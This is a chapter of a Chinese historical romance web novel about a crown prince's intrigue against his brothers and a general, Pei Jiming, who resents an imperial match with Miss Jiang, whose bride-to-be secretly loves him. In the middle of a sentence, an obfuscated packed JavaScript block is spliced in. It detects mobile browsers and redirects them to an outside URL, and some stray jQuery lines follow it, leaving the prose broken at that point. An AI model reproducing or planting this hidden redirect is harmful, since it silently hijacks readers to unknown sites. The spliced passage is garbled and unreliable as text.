皇城东宫内——
燕云珩负手立于窗前,月白色锦袍的下摆被微风掀起一角,露出腰间半枚羊脂玉珏,随他指节摩挲窗沿的动作轻轻晃动。
他眉峰如刀,眼尾微垂,眼底翻涌的深沉令人捉摸不透。
良久,殿门“吱呀”一声被推开半寸,身着青灰色宫装的内侍低眉顺眼地走进来,他在距离燕云珩三步远的位置停住,继而恭敬的弯腰行礼。
“禀殿下,裴将军求见。”
燕云珩微微颔首,示意传其进殿。
不过须臾,裴霁明便缓步走进殿内。他向燕云珩行了个礼,燕云珩点点头。
“殿下近来身子如何?”
“御医来瞧过了,仍是老样子。”
燕云珩屏退了殿中的内侍,随后坐下看向裴霁明问道:“孤让你调查的事如何了?”
他微微前倾身体,目光如鹰隼般锐利,直直地盯着裴霁明,薄唇轻启,声音里带着不容置疑的压迫感。
“禀殿下,派出的暗卫昨日刚传了密信。”
燕云珩沉声点头,裴霁明继而接着往下说。
“二殿下昨日未出醉仙居,酉初至子时皆在三楼听琴,席间与教坊司的绿腰姑娘掷骰赌酒,末了将西域进贡的琉璃盏赏给了乐师。后又揽了四名美婢抬着软轿回府......”
“倒还是那副纨绔浪子做派。”燕云珩忽然轻笑一声,指腹摩挲着腰间的羊脂玉珏,墨玉扳指在烛光下泛着冷光。
“三哥近来如何?”
裴霁明喉头滚动两下,声音愈发低沉:“三殿下府邸近月来常有车马深夜出入,驾车者皆戴斗笠遮面。”
“可晓得有什么人?”
“上月刚中武举的陇右李骁,还有最近在官场上春风得意的那位张侍郎。”
裴霁明又补充了一句:“此外,李刺史的儿子近来与三殿下走得颇近。”
燕云珩冷哼一声:“李刺史是个老实的,未曾料到他那个探花郎儿子心思倒多。”
“暗报上写道三月至今,三殿下府中已支用白银五万两,说是修缮寺庙祠堂,实则......”裴霁明顿住,没再往下继续说。
实则如何,他们二人心中已经很清楚明了了。
燕云珩靠回椅背,修长的手指交叠放在下巴处,眼中闪过一丝寒芒。他嘴角缓缓勾起,露出一抹意味深长的轻笑,笑声中带着几分嘲讽,又似藏着无尽的谋划:“倒是有趣,三哥这是等不及了。”
笑声渐渐消散,他的眼神愈发冰冷,仿佛结了一层寒霜,周身散发着令人胆寒的气息。
“三皇子蠢蠢欲动,殿下还需得小心。”
燕云珩指尖划过青玉案上的宣纸。他垂眸望着案头未干的墨迹,忽而抬起手,月白色广袖扫过半空,像是要挥散殿中凝滞的空气:“你且放心,孤自有判断。”
话音未落,他已抬眼望向裴霁明,眸光如深潭倒映寒星,“孤一直拖着病体,劳烦你继续帮孤盯着,毕竟孤身边如今只有你能信得过。”
裴霁明脊背绷直,沉腰抱拳。刚想要交待些什么,便听见燕云珩询问道:“你近来倒是有桩大喜事,赶明孤定是要备一份丰厚的贺礼。”
似是不想提到这件事,裴霁明沉默着没有说话。
燕云珩听说了香山上英雄救美的逸事,如今这城里茶肆里说书人、铺里售的话本子多半都在津津乐道这件事。燕京城中人皆道二人“天赐良缘,佳偶天成”。
他当然也看出了裴霁明对这桩婚事的不满。被人随意做主,不愿意倒也正常。
燕云珩半开玩笑道:“听闻江氏女才貌双全,性情柔和。是多少人踏破门槛都求娶不到的佳人,你且知足吧。你那将军府是时候有个女主人了。”
玩笑话一出,前一刻还如寒潭般冷冽的人,此刻却似春日暖阳,连周身的气息都变得和煦。此刻的燕云珩与方才简直判若两人。
“殿下若是没有其他事交待,臣先行告退。”
裴霁明再也不想听下去,正欲转身离开,便听得燕云珩在身后道:“你倒是块木头,这般冷冰冰。怕是迟早将那江小姐吓跑。”
裴霁明不语,只是一个劲的离开。跨出殿门的刹那,脑海中闪过一瞬少女局促的那张脸,少女的眸中蒙了层雾气。他从不曾有娶妻的打算,偶然救下江氏女却没料到会被硬接下这桩婚事。
他虽不满,但他不能抗旨。
回到裴府已快至深夜。
他常年习武,耳力出众。走至回廊处,夜风卷着街市的说书声飘来,正说到“英雄救美,佳偶天成”,裴霁明猛地攥紧腰间佩剑,指腹摩挲着剑柄上的螭纹。
想起那日宫中的内官来裴府传圣上口谕,像道枷锁,将他困在这桩莫名其妙的姻缘里。
原本一直驰骋沙场的念头,此刻都化作满心烦躁,他揉了揉眉心,将少女那张楚楚可怜的脸,连同满心愤懑,一并揉碎在夜色里。
“少爷,老夫人请您过去一趟。”
传话的侍女走到裴霁明身边,恭顺的行礼。
裴霁明点头,随后他大步穿过九曲回廊,去往祖母沈氏的院落。
沈氏已年近花甲,鬓角早已花白。
裴霁明踏入房内时,沈氏身旁的侍女如意正为她斟着茶。青瓷茶盏腾起的热气,氤氲出她眼角的细纹。
见裴霁明来了后,沈氏放下手中的茶盏,慈祥的说道:“霁儿来了。”
茶盏与瓷碟相碰发出轻响,三两片碧螺春在水面打旋,映着她微颤的指尖。年近花甲的老人脊背已有些佝偻,却仍强撑着坐直身子。
“夜深了,祖母怎得还未歇息?”
沈氏轻叹了口气:“是想同你商量你的那桩婚事。前些日子已经去了趟江家下聘。婚期定在下个月,阖府上下一直都在准备...”
她忽然抬头,望着孙儿紧抿的唇线,声音里添了几分艰涩,“我看你这些日子也在四处奔波...”
“一切由祖母安排便好,孙儿并无异议。”
裴霁明出言打断,话语间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521283|170734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仍是冷冰冰的,明眼人都能瞧见他对这桩婚事的不在意。
“你这孩子...”
沈氏原想提醒他几句,过段日子新妇过门莫要刻意冷落人家。可话到嘴边仍是没说出口。她这个孙儿她晓得的,自幼时父母双亡后,他的性子就变得愈发孤僻冷淡。
“一切由祖母安排便好。夜深露重,祖母早些歇息吧。”
他倏地起身,衣袂带起的风将烛火吹得歪斜,映得他投在墙上的影子忽大忽小,“没别的事,孙儿先告退了。”
沈氏看着裴霁明离去的背影不禁叹息,又有些惆怅。尚书府的那位小姐过门后面对裴霁明这般性子的夫婿,怕是也不大好受。
夜已深,漆黑的夜空中缀着点点繁星。
江府后院西厢暖阁内,窗子半掩着。窗纸被夜风吹得簌簌轻颤,窗棂间漏进的夜风挟着晚春的花香,混着案头檀香的余韵在暖阁内流转。
秋月推开暖阁的门,映入眼帘的是锦岁坐在案桌前。她走上前去略带担忧的询问:“姑娘,夜深了。还没休息么?”
锦岁摇摇头,仍目光灼灼看着手中的东西:“我想把这个缝补好。”
秋月点头,没再打扰锦岁。乖巧的阖上门扉的同时还不忘提醒锦岁注意休息。
锦岁指尖捏着那方玄色缎面,绣线在烛火下泛着光泽,正是裴霁明的那件玄色披风。她前些日子瞧见披风有些破损,想要将披风缝补好,却发现披风用的绣线不是一般的凡品。
她好不容易寻到合适的绣线,索性今夜便将披风修补好。
指尖捏着细细的银针,在披风里子的暗纹间隙穿针引线。破损处的线已有些松散,她必须顺着原本的纹路走针,方能不显痕迹。
绣线穿过缎面时,偶尔会勾住内里的银丝,她便用自己的指腹轻轻捋顺,又似在抚平某人征战时留下的伤痕。
披风被小心挂在一旁的金丝楠木衣架时,锦岁发现披风的侧边不知何时多了道浅灰痕迹,想来应是剑鞘蹭出的印记。
锦岁鬼使神差地将手指抚上那片印记,缎面冰凉的触感让指尖微微发颤。当裴霁明握着那柄寒光凛冽的长剑,利落地抽出剑鞘时,是否也会不经意间触碰到这道若隐若现的痕迹?
思绪如潮水般漫涌,男人冷峻的面容在脑海中愈发清晰。冰冷的眼神又浮现在眼前,锦岁猛地缩回手,仿佛触碰了什么禁忌。
香炉燃着的檀香愈发浓郁,烟雾缭绕间,她看见自己映在屏风上的影子微微颤抖。
她看着披风上的纹路,喉间泛起一丝苦涩的甜意。“等再次见到他后就可以把缝补好的披风交还与他。”这个念头在她心底反复盘旋。
婚期将至,于锦岁而言,嫁给自己心仪的人,她心底自然是欣喜的,心中憧憬如春日繁花般在心头绽放。可每每想到裴霁明冷落疏离的目光,她的心就像被重锤狠狠敲击,令她万分难过。
那目光似一道无形的屏障,横亘在两人之间,将她满心的热忱与期待,都化作了无尽的难过与惆怅。